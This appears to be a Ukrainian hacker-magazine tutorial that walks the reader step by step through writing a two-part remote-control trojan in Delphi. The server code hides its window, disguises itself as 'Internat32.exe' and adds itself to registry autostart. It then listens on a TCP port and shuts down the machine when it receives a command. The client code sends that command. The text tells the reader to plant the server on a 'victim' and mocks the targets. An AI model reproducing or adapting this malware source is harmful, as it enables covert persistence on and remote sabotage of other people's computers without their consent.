Ти вже сто разів чув це магічне слово «Троян». І ми вже багато разів писали огляди різних коней цієї породи. В твоїх звивинах, напевно вже давно крутиться думка про створення власного бойового коня. Сьогодні тобі належить ця унікальна можливість. Навіть якщо ти ніколи не будеш використовувати ці знання, тобі все одно треба знати, як працюють трояни зсередини.
Для простоти тіла ми зробимо це на Delphi. Я вибрав цю мову, тому що тіло журналу обмежена, і я не хочу вдаватися в подробиці протоколів.
Приготуйся, нам належить написати відразу дві проги. Одна буде перебувати на твоїй машині (клієнт), іншу треба буде підкинути жертві (сервер). Роботи буде багато, тому менше слів, і ближче до тіла.
Троянський сервер:
Отже, запускай Delphi або якщо він у тебе вже запущений, то створюй новий проект («File» «New Application»). Зараз ми приймемось за серверну частину трояна.
Для початку вибери пункт меню «Options» з меню «Project». Тут ти повинен перенести «From1» з розділу «Auto-Create forms» (список ліворуч) «Available forms» (список праворуч), як це зроблено у мене. Тільки що ми відключили From1 зі списку авто инициализируемых форм. Тепер ініціалізацію доведеться зробити вручну. Не лякайся, це дуже просто.
На сторінці «Application» цього діалогу є кнопка «Load Icon». Натисни її, щоб змінити іконку майбутньої проги. Якщо ікону не змінити, то буде використовуватися дельфячая, а вона швидко видасть твоє смертельне зброю.
Тепер ти повинен кинути на форму компонент ServerSocket з розділу «Internet», це сервак протоколу (за замовчуванням TCP, і нам його достатньо). Виділи створений ServerSocket1 і перейди в ObjectInspector. Тут тебе цікавить тільки властивість «Port». За замовчуванням воно дорівнює 1024, але я тобі раджу його поміняти на будь-яке інше (бажано більше 1000).
Тепер клацни в будь-якому місці на формі, щоб активізувати її властивості. Перейди в ObjectInspector і клацни по закладці Events. Двічі клацни по рядку «OnCreate» і Delphi, як завжди, створить процедуру, вона буде виконуватися при ініціалізації форми. Напиши там наступне:
procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create(‘Software’);
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey(‘Software’, true);
RegIni.OpenKey(‘Microsoft’, true);
RegIni.OpenKey(‘Windows’, true);
RegIni.OpenKey(‘CurrentVersion’, true);
RegIni.WriteString(‘RunServices’, ‘Internat32.exe’,
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;
Тепер перейти в початок тексту і напиши після «uses» слово «registry». Ми вже робили таку операцію в статті про мега плеєр, але я повторю, як це буде виглядати:
uses registry, Windows, Messages,
Тепер я поясню, що ми написали в процедурі.
«var RegIni:TRegIniFile» — тут ми оголосили змінну RegIni типу TRegIniFile. За допомогою цієї змінної ми будемо спілкуватися з реєстром.
«RegIni:=TRegIniFile.Create(‘Software’)» — ініціалізуємо змінну вказує на реєстр.
«RegIni.RootKey:=HKEY_LOCAL_MACHINE» говоримо, що нас цікавить реєстру HKEY_CURRENT_USER.
«RegIni.OpenKey(‘Software’, true)» — відкриваю підрозділ «Software».
Далі я послідовно відкриваю підрозділи, пробираючись в надра віконець.
«RegIni.WriteString(‘RunServices’, ‘Internat32.exe’, Application.ExeName) записую в розділ «RunServices» (у цьому розділі зберігаються проги, які автоматично завантажуються при старті), новий параметр з ім’ям «Internat32.exe» ім’я майбутнього файлу) і значенням Application.ExeName (тут зберігатися повний шлях до запущеного трояну).
«RegIni.Free» — знищую більше непотрібний об’єкт RegIni.
Все це робилося, щоб при запуску проги, вона сама себе прописувала в розділі автозапуску. І після перезавантаження комп’ютера вона автоматично завантажувалась в пам’ять.
Остання рядок «ServerSocket1.Active:=true» запускає сервер на зазначеному тобою порте.
З завантаженням покінчено. Тепер давай займемося вивантаженням. Знову виділи форму і в закладці Events у ObjectInspector-а двічі клацни по рядку «OnDistroy». Тепер створиться процедура, яка буде виконуватися при знищенні форми. У створеній процедурі напиши:
procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;
Цим я відключаю сервак. Якщо цього не зробити, то при першій же перезавантаження твоя жертва може зловити синій екран, якщо ти в цей час будеш підключений до сервера. З одного боку, це добре. Твоя жертва в черговий раз переконується в поганій захищеності його віконець. А з іншого боку, я не думаю, що слід видавати себе завчасно. Тим більше, що після синього екрану перезавантаження може зупинитися, а нам це не треба (забіжу вперед і скажу, що ми самі будемо перевантажувати комп’ютер жертви).
Тепер потрібно виділити ServerSocket1 і перейти на закладку Events у ObjectInspector-а. Двічі клацни по рядку «OnClientRead» та у створеній процедурою (вона буде викликатися, коли що-небудь приходить на порт) напиши:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText =’R’ then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;
Тепер, як це звучить по-нашому:
Якщо отриманий текст = буквою R, то
Відправити комп’ютер в редаун.
ExitWindowsEx редаун змусить вікна згорнутися і відключити комп’ютер від харчування. Я взагалі добрий дядько, тому використовував параметр EWX_SHUTDOWN. З цим параметром, перед редауном всіх запущених додатків полетить запит про вимкнення, і жертва зможе зберегти свої змінені дані. Якщо ти злей мене, то використовуй EWX_FORCE. У цьому випадку, комп’ютер впаде без попередження та зі швидкістю світла, так що жертва не встигне від страху повітря зіпсує :).
Троян практично готовий, збережи його. Для цього вибери «Save All» з меню «File». З початку Delphi запросить ім’я форми. Залиши за замовчуванням (Unit1) і натиснути «Зберегти». Потім буде запит на ім’я проекту, яке буде використовуватися в якості імені ЕХЕ файл. Назви його «Internat32», щоб файл не викликав особливих підозр.
Стайня для коня:
Тепер ти повинен гарненько заховати свого майбутнього скакуна, щоб його не було видно в панелі завдань. Для цього виберіть пункт меню «Project Manager» з меню «View». Клацни правою кнопкою по Internat32.exe і в меню виберіть «View Source». Перед тобою відкриється маленький файл з вихідним текстом проекту. Порівняй те, що ти побачиш з цим текстом, і допиши те, чого не вистачає, а що зайве прибери (так не так вже й багато):
program Internat32;

uses
Forms,
Windows.
Unit1 in ‘Unit1.pas’ {Form1};

{$R *.RES}

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, ‘et’);
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
Будь уважний при переписуванні. Все має бути один до одного. Тепер я розповім, що тут написано:
На самому початку немає нічого цікавого, і нас абсолютно не стосується. Нас цікавить все, що написано після слова «Var».
WhEvent:THandle Цим я кажу, що мені потрібен покажчик WhEvent на порожнє подія Thandle.
Application.Initialize Ініціалізується троян.
ShowWindow(Application.Handle, SW_Hide) Встановлюю параметри вікна. Параметр SW_Hide каже, що вікно повинно бути невидимо. Єдине, як можна після цього побачити, так це натиснути Ctrl+Alt+Del. Але тут у нас використовується не викликає підозри (тільки у чайника, профі вже давно знають, про таке імені) ім’я.
Form1:=TForm1.Create(nil) створюю форму. Мені доводиться це робити так, тому що ми прибрали форму зі списку авто створюються.
Application.Run запускаю трояна. Тут запускаються обробники подій і інша нісенітниця, за яку відповідає Delphi і яку довелося б писати вручну на С або С++. А тут все дуже просто.
WhEvent:=CreateEvent(nil, true,false, ‘et’) ініціалізація порожнього події.
Наступні п’ять рядків я напишу словами, а ти розберешся як завжди методом порівняння:
Поки (true) виконувати
Розпочати цикл
Чекати поки настане подія (пустий подія, 1000 мілісекунд)
Отримати управління
Закінчити цикл
Дві строчки між початком і кінцем циклу буде виконуватися нескінченно, тому що true воно завжди true, і з цього циклу виходу немає. Весь цикл заключається в двох особливостях:
1. Запускається очікування неіснуючого події. Так як подія не існує, то програма прождет його рівно зазначений час в якості другого параметра (1000 мілісекунд або 1 секунда).
2. Отримати управління.
Після другого кроку програма знову перейде на пункт 1 і запустить очікування. Під час очікування користувач працює з іншими програмами як завжди. Коли трояну (кожну 1 секунду) передається управління, то наш кінь перевіряє: чи є для нього повідомлення. У нашому випадку повідомлення може бути одне прихід на вказаний тобою порт керуючої команди. Якщо повідомлення є, то троян їх виконує. І в будь-якому випадку (є повідомлення чи ні), після цього користувач знову працює 1 секунду без проблем. Перевірка відбувається так швидко, що жертва не відчує навантаження трояна навіть на четвірці з сотим каменем.
Натисни Ctrl+F9» щоб Delphi створив.ехе файл без запуску проги. Як тільки Delphi перемозгует весь код, можеш вважати, що серверна частина готова. Якщо захочеш її тестувати, то не забудь, що після першого ж запуску троян пропишеться в реєстрі за адресою: HKEY_LOCAL_MACHINESoftwareMicrosoftwindowscurrentversionrunservices. Не забудь після тестування його видалити.
Тепер переходимо до клієнтської частини, яку ти повинен будеш запустити на своєму комп’ютері для управління комп’ютером жертви.
Троянський вершник:
Знову збережи всі зміни і створи новий проект. Настав час писати клієнтську частину трояна. Ще пару хвилин напруженої праці і всі наші красуні :).
На новий проект ти повинен кинути три компонента:
1. Button закладки «Standart» для відправки команди на комп’ютер жертви.
2. Edit із закладки «Standart» для вводу імені або адреси жертви.
3. ClientSocket з закладки «Internet» клієнт порти для зв’язку з сервером.
Виділи ClientSocket1 і в ObjectInspector-е зміни властивість порт. За замовчуванням він 0, а ти повинен поставити той, який ти призначив сервера.
Тепер двічі клацніть по кнопці і у створеній процедурою (процесор натискання кнопки) напиши наступне.
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText(‘R’);
ClientSocket1.Active:=false;
end;
ClientSocket1.Host:=Edit1.Text В ClientSocket1 заносимо ім’я жертви твоєї локалці. Якщо збираєшся використовувати троян в інеті, то там ти ім’я ніяк не зможеш дізнатися. Тобі доведеться використовувати IP-адресу, а значить ця строчка замінитися на ClientSocket1.Addres:=Edit1.Text. І вводити в Edit1 ти повинен будеш IP адресу.
ClientSocket1.Active:=true активувати з’єднання з сервером.
ClientSocket1.Socket.SendText(‘R’) відправити літеру R. Пам’ятаєш, що у нас було пару хвилин тому. Якщо сервер отримає літеру R, то він перевантажить машину.
ClientSocket1.Active:=false закрити з’єднання з сервером.
Всі. Троян готовий до бою. Натисни Ctrl+F9» щоб Delphi створив ЕХЕ файл без запуску проги. Знайди жертву і протестуй свого вірного коня. Для цього потрібно запустити серверну частину на комп’ютері жертви. Потім запустити клієнтську частину на своєму комп’ютері. Ввести в клієнт ім’я комп’ютера жертви (або адресу, якщо ти скомпілював під використання через IP) і натиснути кнопку. Комп’ютер жертви повинен перевантажиться.
На цьому я закругляюсь. Удачі тобі.